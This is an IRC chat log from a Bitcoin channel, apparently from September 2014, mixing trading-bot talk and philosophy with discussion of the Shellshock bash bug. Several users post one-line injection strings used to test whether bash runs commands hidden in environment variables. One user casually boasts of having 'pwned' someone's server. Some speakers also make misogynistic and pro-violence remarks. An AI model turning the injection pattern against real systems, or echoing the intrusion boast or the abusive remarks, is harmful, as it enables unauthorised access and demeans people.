mircea_popescu: bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively << you are very naive to imagine the terminology has anything to do with it. point in case : if in a room with a woman that wants to fuck me, i don't need to speak her language. point
mircea_popescu: ing even may be an excessive requirement. if on the other hand in a room with a woman that doesn't want to, you can be e a poe for all the good it'll do you.
mircea_popescu: this is exactly the case in here. to imagine one can somehow magically learn "the language" without a) passing the requisite tests and b) interiorising the culture that spawned that language is naive. and if a and b is satisfgied, the form of language is really moot anyway.
mircea_popescu: which is why you can have good programmers that speak english, russian or whatever else natively, as well as c or lisp or whatever else ; but you can't make someone a good programmer by teaching him to say i++;
mircea_popescu: people figured it'd work maybe if you not teach him to say goto 10
wywialm: mircea_popescu, that sounds very much like Wittgenstein - correct me if i'm wrong
mircea_popescu: for that matter, it's a direct pastiche of knight, “You cannot fix a machine by just power-cycling it with no understanding of what is going wrong.”
wywialm: I recall something close stated in Investigations, in the flavour of "the meaning is use"
mircea_popescu: wywialm no, you're right, it's just... it's a fundamental idea that saw much expression.
mircea_popescu: "map is not the territory", "stat rosa pristina nomine, nomina nuda tenemus", pick your poison.
wywialm: Oh, yeah. In this we certainly agree
kuzetsa: Naphex, asciilifeform: yeah... I've had to stop neglecting a production server and finally run updates today because of shellshock :(
mircea_popescu: jurov: is anyone willing to pay "we have read the code for you" kind of security? <<< yes. but it's like the case with drinking water : people ARE wiling to pay for drinking water ; people are not willing to pay to have a dam constructed.
mircea_popescu: so if your per line price can be few enough satoshi, this is a valid business model.
assbot: The Underhanded C Contest
Naphex: kuzetsa: you should check logs, make sure you're not owned
mircea_popescu: jurov: redhat would be in a position to do it << redhat is a usg subcontractor. this is like saying goldman sachs is in a position to break the aml/kyc bullshit ring.
assbot: So the Dollar Vigilante scam ring is going to jail. pe Trilema - Un blog de Mircea Popescu.
mircea_popescu: he lives in a world where being a scummy fuckwit is okay, because everyone is a scummy fuckwit.
mircea_popescu: all the current fucktards calling themselves "developers" would find themselves in the positon of taaki, maxwell et co stat, once someone started leveraging that model aginst their scummy, indolent, ignorant idiocy.
mircea_popescu: once the "you have one chance, don't fuck it up" model gets implemented universally, we'll have a wholesale return to the pleasant mores of the society constructed on enforcing the same principle upone women only.
mircea_popescu: except, twice as much, plus all the other benefits of not having to deal with the insane arbitrariety of only doing it to half the population
mircea_popescu: asciilifeform all flight started with the galley slave.
mircea_popescu: the reason airbus is a thing is because the romans forced men to push oars.
mircea_popescu: just because they meanwhile fell off doesn't mean you didn't need them to get here.
mircea_popescu: in order for the job to be done, nobody needs to do it.
mircea_popescu: you don't need round stones to produce round stones. you just need a rotative process.
mircea_popescu: it's only empirically false because it's so easy to lie.
mircea_popescu: let's model this. people with young children go camping. 20 adults, 10 children. case 1, "people generally" look after the kids.
mircea_popescu: case 2, every hour of the day one adult is in charge of watching the kids. if anything happens he's in for murder.
mircea_popescu: unless a meteor falls, they're coming home with 10 kids.
mircea_popescu: there's no such thing as "the army is generally watching the surroundings". no dude, sentinels, since 2000 years ago and never with an exception since.
mircea_popescu: in fact, it's the sentinels that distinguish army from band of drunken revelers.
mircea_popescu: as long as you let me beat them selectively i'll have my bomb, and some adoring princesses to follow me around to boot.
mircea_popescu: besides. there's iron in the heme that the shit is mostly comprised of.
mircea_popescu: if he says this sitting right next to a lathe i'm going to smack his head on the lathe.
mircea_popescu: you, in fact, are currently and have been for a year, molding a bullet.
mircea_popescu: whether to make the piss freeze or to try and electrolytically separate iron from shit is an exercise left for the engineer.
kuzetsa: [14:59:14] <+Naphex> kuzetsa: you should check logs, make sure you're not owned << logs of what?
mircea_popescu: asciilifeform selective beating is selective beating. people adapt, young people especially so, women most of all.
mike_c: these methods (beating, wot, etc) could be applied to new software
mike_c: if i wrote a new btc wallet (or managed development thereof), it would be secure for fear of above methods
kuzetsa: mircea_popescu: but... I don't have any cgi on the
httpd, nor are any of the other daemons the sort which use environment variables to pass stuff around (using bash or otherwise)
mike_c: but to audit existing btc wallet? forget it.
mircea_popescu: mike_c notice how little beating is actually needed, among civilised adults that interiorise the wot model.
Naphex: apache still passes stuff through env by default
Naphex: but it should be no problem unless thet env hits apache
kuzetsa: Naphex: I don't use apache
mircea_popescu: if the process of figuring out what is safe worked, we wouldn't have the bug in the first place.
Naphex: nginx / php fpm/ fast cgi all pass env as well
Naphex: and if that env hits bash it runs
Naphex: kuzetsa: mail servers will pass through env as well, on the pipeline while filtering them mails
mircea_popescu: we're not here for a goal, we're here because a cause. major fucking difference.
Naphex: so any mail filters, spam filters
kuzetsa: Naphex: I don't have any mail daemon on that particular system either
mike_c: what? how is env getting set if no cgi/bash shit?
Naphex: mircea_popescu: yeah but that doesn't hit sh until successful login
Naphex: mike_c: env is general POSIX
rithm: my spam filter is roll-your-own
Naphex: and pass it around, if corrupted env hits bash it runs and the end
mike_c: yes, but i thought shocky thingy required cgi/bash to chane env
rithm: my testing alligns with what Naphex just said about authentication
Naphex: mike_c: no, you can change env regardless, its just that if bash interpets the env it runs
mike_c: shit, i gotta read more.
mircea_popescu: asciilifeform this is where you're wrong. because consider, what is your definition of "human mind" ? could you in fact have two human minds that are identically the same one mind for this purpose ? turns out you can, it's the most important field of research of the vory.
mircea_popescu: how is it done ? why, by not acting towards a goal, but from a cause.
kuzetsa: mike_c: I'm certain that the public-internet-facing daemons on the system in question don't pass stuff around using environment variables
Naphex: rithm: even if you're spam filter is roll your own, if SUBJECT gets passed in Env along the pipeline, and if on the pipeline something hits /bin/sh / /bin/bash it will run
Naphex: just patch it, and killall -TERM sh/ bash and you're set
kuzetsa: Naphex: yeah, I decided to compile a new kernel anyway so I rebooted after making sure bash was patched :)
mircea_popescu: ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? <<< you know i don't actually read all that much code at all. i guess i could, more or less, but i wouldn't trust myself to understand it. by which i don't mean "what it does", but i do mean "what we can absolutely say about this program"
kuzetsa: mircea_popescu: there's 2 different patches
mike_c: old news? asciilifeform: Stephane Chazelas is author.
mircea_popescu: that is the thing. they only seem complex to the lazy and to the stupidly vain. but otherwise, the mechanisms are damned simple.
Naphex: mircea_popescu: gentoo has good patch out
mircea_popescu: bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines << alternatively skip the lawyers thing and hurt people that fuck up.
Naphex: 201409-10 [U] Bash: Code Injection (Updated fix for GLSA 201409-09) ( app-shells/bash )
mircea_popescu: rather than dedicating yourself to being friends with idiots, dedicate yourself to being enemitous to idiots.
kuzetsa: the initial "fix" was for a parsing flaw described in CVE-2014-6271 (shellshock) which a lot of distros patched but then didn't get CVE-2014-7169 as well (a different type of issue with bash)
xmj: kuzetsa: freebsd patched 6271 yesterday 17:04 UTC and 7169 today 15:38 UTC
rithm: just wait until drive-by downloads start exploiting dd-wrt or something
rithm: then it'll get fun
kuzetsa: ubuntu dragged their backside too
nubbins`: debian = ubuntu in the sense that england = usa
mircea_popescu: export badvar='() { (a)=>\';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe << if anyone wants to test it
Naphex: mircea_popescu: its a stupid check lol
assbot: This is being actively exploited. We (CloudFlare) put in place WAF rules to bloc... | Hacker News
rithm: cloudflare examples
Naphex: mircea_popescu: env varname='() { :; }; echo CodeInjectionHereWorks' bash
mike_c: so.. just b/c you have vulnerable bash doesn't mean you got pwned.
kuzetsa: mircea_popescu: I was just thinking the same thing
mike_c: any good way to check if you're actually vulnerable?
mircea_popescu: this is the 7169 one, where it fucks up the exporting circumventing the fix
mike_c: yes, that checks if bash is vuln.
mike_c: doesn't mean your box is open.
Naphex: mike_c: check is simple cause bash shouldn't run anything in the env
mircea_popescu: mike_c checking if your box is open is something you'll haveto do yourself.
mike_c: of course. so you have vulnerable bash. doesn't mean someone can hit it through your web server. i guess i gotta construct applicable
http request.
Naphex: var='() { :;}; echo whatever commands you put here runs you are vulnerable' bash
rithm: bash: warning: varname: ignoring function definition attempt
rithm: bash: error importing function definition for `varname'
mircea_popescu: mike_c it's a very large hole. odds of no pencildick managing to find it, ever... hm
rithm: seeing something like that is bueno
mircea_popescu: so i just got totally outcarded. i find this nice chocolatier, buy three pounds of mixed chocolates in three boxes, ask for their card, and leave.
mircea_popescu: their card has nothing but their name on it, which is kinda generic. nothing else. the boxes have NOTHING. no phone. no address. no website. nothing whatsoever.
mircea_popescu: ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe? << the most there is is me going on the record that .6.* is probably okay.
mircea_popescu: TomServo: Would an audit even be useful without a specification? << perhaps, yes.
mircea_popescu: doctors have been doing ok auditing the human body w/o any spec for a while now.
mike_c: gee, every single one of my ec2 servers is scheduled for a reboot now.
mircea_popescu: mike_c: security audit is basically impossible. <<< im unconvinced.
mircea_popescu: it is impossible if one allows runaway complexity for "ux" and other idiotic reasons. but then again so is any scenario of chasing two rabbits.
mircea_popescu: in a security environment, security is auditable provided the comittment to security is not compromised in order to listen to some ziggler impersonator.
mircea_popescu: maybe. still, a lot can be done until one runs into such walls.
mike_c: my point is you can't take existing turd and audit it to security.
mike_c: if you start with security in mind, then audits can be useful process during development.
mircea_popescu: lobbes: and the paper wasn't even peer reviewed << in that guy's case, peers can be a misnomer :p
mircea_popescu: The20YearIRCloud: the joys of people making money off of memes << nah, the hodl stuff is sa folk getting bitter butthurt at bitcoin's continued existence.
mircea_popescu: Transcript for 24-09-2014, 1337 lines <<< we've done it, everyone. i hereby call the end of the #b-a party. thanks for all the lines, it's been a hoot etc!
atcbot: >> No data returned from CoinMiner.net << [PityThePool Hashrate]: 102.62 GH/s [iSpace Pool Hashrate]: 1.51 TH/s [P2P Hashrate]: 1.70 TH/s
jurov: drat. updated centos/ubuntu, still vulnerable
mike_c: oh. (smacks face) I was talking about author of exploit before, not bug. sorry for misinformation.
nubbins`: you mean seggelmann or henson?
mike_c: 20 year old bug, good luck figuring out author.
thestringpuller: mircea_popescu: the most there is is me going on the record that .6.* is probably okay. << This sounded like a cartoon. Like the Family Guy cut away where the dude throws him a parachute with an anvil in it and says, "That one is probably okay"
Darkstone1: can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development.
Darkstone1: I'm strugging in what the best way to 'commercialize' this thing is.
Darkstone1: it certainly works, but as i said, i'm starting to lose intrest in further development. And i have a full-time job to attend to.
rithm: Darkstone1 find VC's to fund your new bitcoin trading exchange
Darkstone1: One of the questions i've been unable to answer is weither should sell the source code or only the product.
Darkstone1: it's not an exchange, its an trading bot.
rithm: Darkstone1, wite the whole thing yourself in PHP and release it to the world in production!
punkman: well you can't really sell it without source
diametric: and i'd never run a trade bot i couldn't inspect the source for.
rithm: the source and the math of the engine is what is worth buying
punkman: maybe to some noobs with bitcents running Windows
Darkstone1: that i you shouldn't buy anything that you can't inspect the source for i can certainly agree with.
Darkstone1: but my parther thinks that selling the thing with source code is useless.
Darkstone1: it will just end up somewhere in the internet next week.
punkman: Darkstone1, that's where the WoT helps
mike_c: the only thing worthwhile is the automation. make it easy for non-programmers to put in their own methodologies.
mike_c: sell to suckers, profit.
BingoBoingo: <Darkstone1> can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development. << Sounds like keeping it in your pocket until it interests you again may be the best option
mircea_popescu: * asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever. <<< not quite whatever. currently the fashionable idiocies du jour still hold currency with the crowd, that "not the man, but what he's saying" and "we're all equal" and similar socialisms. they won't last the evening.
Darkstone1: I think there are too many -bad- platforms where people can put in their own stratety already.
mircea_popescu: <mike_c> 20 year old bug, good luck figuring out author. <<< right, because nothing ever can be documented past the lifespan of the average teenager.
Darkstone1: perhaps opinions of the masses differ.. but there is no way i'm going to insert my API keys in an online platform.
mike_c: hm, i suppose the average teenager is.. 16?
mircea_popescu: we know the name of the rose verse to come from bernardo of cluny, 1000 years ago. but keeping track who shat in the repos is too hard over two decades.
mike_c: ;;calc (13 + 14 + 15 + 16 + 17 + 18 + 19) / 7
mircea_popescu: <thestringpuller> not equating the two, just saying similar tone. << we are kinda inhaviting a cartoon world atm
punkman: Darkstone1: yeah I doubt any of the hosted tradebots handle integer BTC amounts
mircea_popescu: <Darkstone1> but my parther thinks that selling the thing with source code is useless. << so let the partner run it'
assbot: Call for Oracle hosts Issue #85 orisi/orisi GitHub
assbot: [MPEX] [S.MPOE] 3102 @ 0.00074933 = 2.3244 BTC [-]
Darkstone1: punkpan: i use doubles. It's bad, i know. But it does not really matter as most exchanges send you the amounts in json floats anyway..
punkman: Darkstone1: no I just meant they'll never get to handle any serious amount of BTC
Darkstone1: (totaly idiotic platform by the way...)
assbot: berndj-blackout +v failed; L1: 0, L2: 0
Darkstone1: i dont think anyone would pay 10 dollars a month to trade pennies.
berndj-blackout: thanks mircea_popescu - just figuring out the cloak&dagger stuff :)
mircea_popescu: Darkstone1 i paid 10 dollars a month numerous times to trade pennies in online games
mircea_popescu: if what the delusion of being a "trader" costs is 10 bucks, plenty of takers.
fluffypony: same as the delusion of being an "investor"
fluffypony: especially people who think they've "invested" in a cryptocurrency because they bought some
Darkstone1: i consider myself a neobee invector :P
assbot: RObotzi.S01.Ep2.Defect - YouTube
fluffypony: mircea_popescu: are their English subs on that one at least?
mircea_popescu: asciilifeform well marketing is game theoretical finesse rape of other bots. except for some reason other bots insist on calling them people.
gribble: CAUTION: irc nick differs from otc registered nick. Nick 'berndj-blackout', with hostmask 'berndj-blackout!~berndj@azna.co.za', is identified as user 'berndj', with GPG key id FAC02779DEC0DED1, key fingerprint BCB3F00CB5A64A16A31EFCE6FAC02779DEC0DED1, and bitcoin address None
ThickAsThieves: <+mircea_popescu> "what means safe" "what means healthy" /// such a semantic day!
Darkstone1: asciilifeform: i can partialy agree on that. But if i do not have an game-theory fitness ass raping bot. I tried but failed.
assbot: The psychology of the bagholder pe Trilema - Un blog de Mircea Popescu.
Darkstone1: *again*? no thank you, already read it.
kakobrekla: i see this everyday - what ascii is describing
Darkstone1: And i am not an neobee bagholder. I sold everything after the crash and gained +50%.
mircea_popescu: Darkstone1 the point was, "how to build gt finesse bots"
mircea_popescu: asciilifeform works especially well if you're too big to fail, thoo.
berndj-blackout: asciilifeform: won't any nonzero hammer work, given enough time to get a decent SNR?
ThickAsThieves: <+kakobrekla> (or maybe im just imagining) /// it wouldnt be ta otherwise
berndj-blackout: asciilifeform, add to that, use a spread-spectrum hammer or something
Darkstone1: I'm fairly sure i've met bots specially crafted to screw my bots at one exchange once...
ThickAsThieves: another sign that chinese exchanges are all bots/washing, the books are always balanced
ben_vulpes: would this actually be a frequency response thing?
mircea_popescu: really the proposition of making a living with trading bots is the response of the engineer who confronted with the fundamental impossibility of making money picking stocks decides to write a hard ai to do it.
☟︎ mircea_popescu: exactly asciilifeform's "but we don't even know how to make computers yet!" sorta thing
Darkstone1: asciilifeform It is no longer possible to do so. I belive i closed all gaps.
Darkstone1: except the one where a whale sells hundreds of bitcoins on all the exchanges where i'm active. But that probably a slim chance.
BingoBoingo: Come on, real trading insight comes from the gut!
fluffypony: oh I see we're calling the Bash bug "ShellShock" now
BingoBoingo: You've got more serotogenic neurons in the ganglia there than in the brain
fluffypony: I can't take these bugs seriously without a logo and an info site
BingoBoingo: ThickAsThieves: No, teach them fear, that sinking feeling in the pit of one's stomach!
berndj-blackout: thanks, but i'm likely to be idle for a while. should work on my rating i guess
gribble: parseval was last seen in #bitcoin-assets 41 weeks, 5 days, 19 hours, 24 minutes, and 53 seconds ago: <parseval> though, really, I think banning banks from handling bitcoin transactions is a good thing
mike_c: sry, btcalpha put coinflow out of bizness
kakobrekla: i just noticed - looking at logs - he is spamming my boxen
mike_c: i pwned his box for kicks too
mircea_popescu: <fluffypony> I can't take these bugs seriously without a logo and an info site << these bugs got no ux!
fluffypony: before announcing it they should at least have a logo contest
assbot: Zoo in coverup after groundhog dropped by de Blasio dies | New York Post
ben_vulpes: if these deals come through, i'm going to have such sweet projects lined up
ben_vulpes: and there are enough on the table that i should be making odds on how many close
assbot: Breaking: FBI Director says the bureau is talking to Apple and Google about new encryption settings. Story to come.
ben_vulpes: the "let me fuck your shit up" switch must be enabled.
BingoBoingo: Eh, the new Apple stuff seems to have a bunch of built in side channels to keep syncing the device with the desktop easy
kakobrekla: ThickAsThieves what are your plans with that thing anyway
ThickAsThieves: had some decent plans back when there were more exchanges
ThickAsThieves: in addition to coming to terms with what it really means to be a usian
[]bot: Bet placed: 4.29 BTC for Yes on "BTC Difficulty over 41Bn before November"
http://bitbet.us/bet/1050/ Odds: 79(Y):21(N) by coin, 77(Y):23(N) by weight. Total bet: 7.17010104 BTC. Current weight: 80,404.
ben_vulpes: the gutenberg notices are longer than the story
pete_dushenski: <mircea_popescu> lord norwich is the english authority on venice << merci!
pete_dushenski: looks like asciilifeform rectothermal scan will be… a dog:
assbot: A Police Dog for the Digital Age: She Can Smell the USB Drive You're Hiding - Bloomberg
pete_dushenski: asciilifeform: apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << just because puppets talking "ignore" doesn't mean everyone ignores
assbot: Logged on 07-07-2014 14:17:39; asciilifeform: BingoBoingo, mircea_popescu, others: re: electronics-sniffing dog << distraction psyop. in real life, hidden electronics are found with a nonlinear junction detector.
pete_dushenski: that leaves us with paper wallets entre les buttcheeks.
assbot: The Power of Friction - YouTube
mircea_popescu: <asciilifeform> apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << "everyone" ? the us agitprop (calling itslef "mainstream media") is not everyone just like tardstalk.org is not everyone in bitcoin.
mircea_popescu: heck, it'll be tough to argue that they're someone at all, even.
mircea_popescu: "Richard Everset and C. R. Jones had gone on the first interstellar flight. They had found an inhabited planet in the region of Vega. The rest was standard procedure."
mircea_popescu: such bad writing. if something is a first then it can't be "standard procedure"
mircea_popescu: standard procedure is what an old whore does, never a virgin.
ben_vulpes: first moon landing - full of standard procedures.